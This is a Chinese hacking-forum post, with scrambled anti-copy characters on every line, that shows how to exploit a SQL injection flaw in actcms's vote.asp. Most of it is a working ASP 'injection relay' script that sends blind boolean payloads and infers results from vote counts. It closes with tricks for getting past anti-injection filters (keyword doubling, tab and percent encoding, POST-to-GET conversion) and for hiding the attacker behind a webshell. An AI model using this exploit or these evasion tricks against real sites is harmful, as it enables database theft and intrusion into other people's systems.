找回密码
 立即注册
查看: 2789|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
+ }8 z# |9 D, X+ h/ l
看到ninty大牛的blog的一篇文章
! ~& q" I- z+ U: S链接标记[url]http://www.forjj.com/?action=show&id=80[/url]6 |7 O' m6 _( m! v- s& J3 ?
关于actcms漏洞的利用  by 3x qq:381862589
4 p# O7 `: i: A' V& o. v+ R% G转载请注明以上
! a, p5 O- I& d' ~漏洞文件:7 ^) k1 K! F: A7 @
/plus/vote/vote.asp, q7 ~( A  {: `' i$ ?4 H9 F
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    + Z: b6 i; M) Z

) Y, s0 ?' N4 B+ n* q2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   " ?6 C* w8 l" `) G; F
; u/ S; ^5 m% p$ k2 Q1 x: X
3    response.end   
' D0 C, g2 Q" d0 V0 K+ u$ A
" `. Z0 T8 H! ]4 @$ o4    end if    ; d/ w9 V/ I" P( Z: ?
) O0 K8 r  N! h
5    for i=1 to request("voted").count   
* x& d6 l+ S  W0 C1 @! ]& i
: Q" E  h. Z# z6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
# A. Y7 N; r! G% {6 T: F4 G
: t: `% F# Q* N4 x- X) e* R  f' H7    next   
  ]+ J4 a+ N+ ^) G
; r3 ~  K5 r, f) L( w' o% a& s8....    8 |  l9 F! N7 l2 k; T& }

! b" R) r4 d: m) G7 V$ M9response.Redirect "index.asp?id="&id&""   6 y( Z; T) u% z: m  R
投票结束回跳转回index.asp这个投票结果页面( S8 a/ e; d9 n$ v, \6 r
如果投票成功票数加1
& a; x( i6 @+ k, C1 L! a7 y: }, n( S0 }            失败票数不变2 }1 }) t7 _, `6 f, H
如图:
  D7 w+ F7 V7 Khttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
8 _1 t& n% T, x9 h1 f; l, I# w& _
! v, @1 i* f; Q" ^0 [7 |2009-12-27 13:20
; b* C% ^* W" `. a4 N6 G& P8 [8 W2 W0 P3 O3 i
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
+ O7 u7 C9 h8 N0 @
  q: h0 x3 ^6 @$ r+ Y' K  Z本帖隐藏的内容需要回复才可以浏览
+ F8 ^& p7 z$ n: ~3 W3 }我们用注入中转来实现这个注入具体代码如下:0 [) s$ `7 H! R2 @
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) l6 L: b& J7 p! {4 @注入地址:http://localhost/actcms/plus/vote/vote.asp0 Y  Z4 b  n4 k/ |6 z( e& K
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
  k: i1 H9 x$ x4 d/ \/ q0 l, @+ y$ M. d
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ( J7 ^9 R6 e2 l6 d0 Y) f
9 _4 @7 u1 n- \$ X% y. |3 l4 J; E
02JmdcwName=request("jmdcw")
" n4 P. _( e2 z$ O. X% F' v$ X7 u: _7 H  M* M! ~
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 5 w& a4 X- u+ t$ d- c9 S

1 j' `- D# Q0 s( S; `9 @04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 @1 |/ ^& A5 ?- _) [* i* p0 N& v9 [" e, S) D! z* d
05JmStr=URLEncoding(JmStr)
1 K9 F0 x" e' R' W. T: o7 ]) o
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"1 @9 F3 q/ |* g2 m9 j/ k" a" [, q8 D5 [
  U! y) i; y" H5 S4 l3 ]
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"2 S9 z5 u& L" A; P/ M1 L4 @8 K

! D6 u# m. O, z, h08testurl=testurl & "?" & JmStr
/ z0 P4 K8 R! J, k- q, l+ r5 c# b
09JMUrl=JMUrl & "?" & JmStr ) [, b5 w+ u1 X
& P6 a0 B' W, V' U. l) i0 ^3 C# _: _
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp": v, c. e4 e6 \1 m1 r0 x, c# }
2 G" K8 R  a! Y: X( S
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"- d1 j" q0 e& t* C# E  o  |
# [$ w8 u3 C5 W# p' ?( B
12JmCok=replace(JmCok,chr(32),"%20")  ' d, A% `( D' y% D/ q. m
5 Y% s7 b7 z$ |4 Z& U
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 + r5 a9 K8 w, Z0 h

! T; u: e' B1 X14  
  m8 M! M* b+ I: i1 ~- p7 a4 Y0 o* n" q  y" P
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 9 r1 e. ]7 N+ F, R

4 E& z1 I# j% g% g$ B16  
$ P( W/ N3 E# V8 F$ W+ y
& Q5 Y+ s# {" t& L3 {$ ^7 C17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 7 C) s5 T) m# D/ l& n4 }
0 R9 o. ?8 |  K  ~
18response.write test1&""&test2&""
  w& T7 R6 w) K4 B) T! [3 v, \* y, J7 J$ N& f8 G' `" u
19  
" D1 P$ a4 f' i. q! d' |1 _+ e/ I- \! f: P; [( H% {! E
20if test1=test2 then '如前后记录相等,表示失败 0 }' c0 s- [$ ~8 f
( O3 h  Z4 L) U9 o
21  response.write "failed") u& H" d$ t. w- p
- o, f( ~+ S3 K7 U# k
22else & R0 r/ b$ ~4 ]) s/ W8 D
% i  k  m1 R% f* b5 `1 E
23  response.write "succeed"
* \$ E+ n  P( Z
. z8 N7 t$ G/ o) s24end if  
  K$ k" h3 }; c: E7 p
; f0 Q  ~6 d0 o) u& |2 Y8 w, C25  
! y8 M" r& w0 Y5 U: P- o) O5 E7 m, ~9 n2 d- B& @% N: `3 a
26response.write "by 3x"4 R, v1 B' @; @# ]% L. c
3 \; z2 Q6 D1 y. i! z8 \
27  5 @" f3 o5 u/ @& U( y5 b: E' o* b7 u
8 `6 O+ |! _, d1 K2 v) G& s
28  . h. C1 ?9 Y! C  S0 ~& v

7 |/ }7 R( ?! H! i/ V29Function PostData(PostUrl,PostStr,PostCok,PostRef)   6 b4 I( J4 Z( l; D' S3 r; _
" }- C8 G, U1 l  l
30Dim Http
2 M9 k, W* t- V3 [2 o& @/ b5 E" M1 C1 ~6 h1 J1 d$ M
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") - I) W! ^  o/ F3 x" v

) b. E- \  x6 [$ M0 k32With Http 0 }' V+ m7 t4 N! {
$ x$ O7 k2 |' l9 c6 R
33  
0 I3 X/ @8 ]9 ^" v& ~% R9 }7 H! N& \4 _( R
34.Open "GET",PostUrl,False1 ]) J! E4 V3 @: I4 [" i* |8 u
! h( Y9 v) b$ G, l5 `7 u
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"" h2 Y* R/ @; ?) M
4 L6 s* \$ f( v
36.SetRequestHeader "Referer",PostRef ; M  N2 Z) v8 C( v$ V  V

& f' |; b9 x- y' O- ~. v  o37.SetRequestHeader "Cookie",PostCok
( C! O7 T, q4 w; E, y6 D% J- z! z
1 C2 ]$ M, v* H1 i# L( d4 P38.Send ()
3 v" q# W# O- L3 V' W+ G! |# x  |9 N1 V
39PostData = .ResponseBody ; L8 B6 R+ y3 @* }8 Y
' u8 @0 h- d2 E4 ]' ]
40End With
' j( b  R+ l# e# T& n6 V. i' d
) M* v! R9 |0 a$ z' D" a& q% i5 ^8 s41Set Http = Nothing" `3 O/ A, W  c7 w$ ^0 E, \

/ |2 A- u, S! s  |& T- d42PostData =bytes2BSTR(PostData)
1 _+ G8 O& A( O$ B# J$ x7 @- r/ s6 g" C6 K- @9 F2 i
43End Function9 u# `$ F/ o9 l( e) w
% s$ p" u# p) m( [) X8 V
44  * W) s1 n* t  R( m7 h  o$ x7 l

7 L' Q' O, j4 ^& O$ Y45  9 b, m, j" p. _% L/ C5 H3 [

) Q4 q# V: h  L- J6 d46Function bytes2BSTR(vIn) 9 ^/ j6 E% H* Q4 _7 U2 h0 Z
/ g% d( ]# ~6 K) D- d7 `
47Dim strReturn : ^- ^( n* i. v  Y

. }# o, K5 c$ l$ P2 }: ]8 a) c) u48Dim I, ThisCharCode, NextCharCode " M6 d+ G9 B" Q0 [$ \5 q

9 K6 H' e6 I) ~1 W- U49strReturn = ""+ o1 Q$ J6 t/ n+ d9 |$ r

' d% r6 v+ U; ]; A, q2 l4 H4 f* `50For I = 1 To LenB(vIn) 2 t  B, k3 H1 E6 o. u

8 ?' e1 [( g6 Z) l4 h51ThisCharCode = AscB(MidB(vIn, I, 1))
" m2 E" C* p  `
$ W: Z+ H* f. A$ P2 C52If ThisCharCode < &H80 Then# y3 z" c" x0 @, E# D2 I
6 ~* [6 j. g( V2 L
53strReturn = strReturn & Chr(ThisCharCode)
. u% ~- }5 G  Q5 f7 q+ k2 C# E; G, ?* G
54Else
6 |1 [6 q7 J, I7 N% s
5 c( b: _/ x, q# w6 e8 {8 M/ t. A55NextCharCode = AscB(MidB(vIn, I + 1, 1))
1 `' D+ u- G: E% S) a) T
' G6 J+ S  o1 P" |56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 q( n: Z- _1 ?# O' e
" [/ Z; |7 S, o& `/ q* V57I = I + 1 $ w. T% D# X" {: m- ]9 ^8 j  D

# N& T4 ]& w1 c58End If: E& H- W+ Y, ^- X4 L: `' h
- r0 ^6 A. Y7 ?% b! a
59Next  e$ n2 j1 S4 y  S
9 ~4 F, r% q% I) S7 x
60bytes2BSTR = strReturn - ]0 K8 p7 z. [' N- g( U, ]

$ }' ~, U8 K& `% P61End Function
( x1 E9 D( u1 Q1 R( O2 o+ v, h* n9 h: \# E4 n
62  9 \$ C9 e) d1 I: S% z  B! ]
. C8 o7 m$ @5 T. l
63Function URLEncoding(vstrin)  6 ]# x  K3 R8 A) ~' y5 R

4 [/ |1 `7 c; M8 c# S! p) F: n64strReturn="") _" u1 |: P2 N0 S: u& V! U) n

  W6 G% n9 D* m! b5 H" G65Dim i
( ^2 n. w# V3 a% V1 ]1 l
0 u* i, p+ d  n) ^/ q66For i=1 To Len(vstrin) " U7 ?: M8 L6 y

: J( `3 n5 Y- q. J$ x67ThisChr=Mid(vstrin,i,1) 4 W: B8 G! ?0 o: q; N1 Q! A9 I2 k
, b4 Q6 |! q3 M( M& v
68if Abs(Asc(ThisChr))< &HFF Then5 g. R* }$ `  ]6 h. ~1 }

: P* Z+ d* B, Q" y8 Q" b69strReturn=strReturn & ThisChr ) `8 V9 E( ?+ }  M  T  a6 C6 F
' n% t) I- ^6 x2 Y: p0 ~. I
70Else3 P: H# ]9 l0 N& {' W
( K, _9 K+ A. d3 M% u, G3 x- w
71InnerCode=Asc(ThisChr)
7 H" |3 w6 z, j9 }+ Y. K
8 ?2 G' ^3 e$ X72If InnerCode<0 Then9 y2 X/ c* u4 h- s) s  Q' P& z4 `9 c
0 E) K" F9 j- S9 F% l4 v
73InnerCode=InnerCode + &H10000
! p6 X: M0 R, I6 w+ j- `0 r' K7 q, W
74End If4 Y" ?! \; v( K

& \; t; [  l5 m# a4 d: j  B3 [0 g2 _, @75Hight1=(InnerCode And &HFF00) \&HFF % A& A6 Y8 Y) X2 ^. W, S

" S( e" ~9 ]6 t& I: z76Low1=InnerCode And &HFF : G+ q. c; Q( Y- o) \$ v  O

3 A& n: X  x" e+ [: y, K77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) " f+ l$ d# S( Y4 b

; q, {' W: p  p' _& T- S. e78End if 2 L+ D  E! a3 D/ q
! S: c+ o. E0 N+ w) @$ E
79Next
  C5 R) G& A8 R! J. u5 Z( \' E+ g  W/ p8 z7 X
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 0 ]; `4 t3 f% N0 M5 u
: |- j0 f$ S! P; g, a
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ v( r) F1 s0 j& s$ L6 e3 p6 q" {  Z1 p9 W0 `6 a
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
( Q1 k% ?5 [9 p
6 }* _# j. X/ f! i) J4 ~83URLEncoding=strReturn - ]$ X- h( M2 n8 r0 _4 j7 F0 V

% I- O- Q$ @% I( F$ I1 _, l" Z84End Function
/ v* S) G8 w+ D9 R* Z7 s+ [4 w
  ~; u. r9 F, x, h/ B85  + w/ @1 r0 w/ d0 W/ G* p; M

1 n( b3 h0 {) g86function getSt(body) # G( P* Q, A  _& s2 a7 U+ k# O7 H$ d( t
; x/ g3 c) x) w; @
87  startpot=instr(body,"投票人数:")+len("投票人数:") # T, M/ b. m7 F8 G, ?" k
, R/ @7 k" q, \" H+ p2 z
88  endpot=instr(startpot,body," ")
1 B3 z2 r- j1 ?& A# C; B$ }/ e# l. d. D
89  getSt=mid(body,startpot,endpot-startpot) " \4 x- t5 x6 G: C
6 ^; R3 s1 D- m2 {
90end function
; {/ Z3 O7 P& R; F. x' D. s( ~! `  Z) J2 V5 L! g; [* [
91%>
+ s+ w" W1 b6 ?; [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了5 c3 d+ V3 V, G5 J  p
测试下效果:
7 ]8 _# Y/ v6 g+ F: E投票成功:/ L9 K. K& e! l
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
2 ]& K, c- A' ^; ~( o( i
! R1 K3 D% Z! _9 `2009-12-27 13:29
+ c5 P: {$ }" W1 B6 B2 t. [8 O投票失败3 }5 S& v0 a) e  f0 C
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
& m6 U% U7 m: S9 X& W/ e
) k8 |9 [* K7 j9 q$ x2009-12-27 13:29
7 S* r8 Z0 I7 Q2 k; P% o9 w1 K% N-------------------------------------------------------------------------------
8 t$ B( F& q% g( A8 b6 _( B再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以: }) z9 B, f) X; e5 E: t% t6 {
很抱歉。。。只能用单线程工具去注入。。。。。
/ i) o) w5 y4 c$ U( h9 w所以失败。。。不好意思。。。: p' Q) t" D' y! k! z% h4 B
-------------------------------------------------------------------------------" q% P4 u  ]7 m5 o- \5 ]* T
& [8 s9 ~6 o' C) E2 d+ ?9 p
注入中转的一些其他应用
+ b3 b( W, M, |9 r& d! ]其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了  c9 Z4 b* h4 D" J8 N1 B. k2 f
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id* e9 X' Z6 J( |: u5 }
2.post注入转成get型的注入,方便我们使用工具来跑$ k; B* I1 B( P' M4 u2 J1 F# x/ f
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 s+ U$ F# k$ \9 L# g( z4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
. r( ^! O4 J& ]
' V# R9 M" c0 r# B6 o5 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表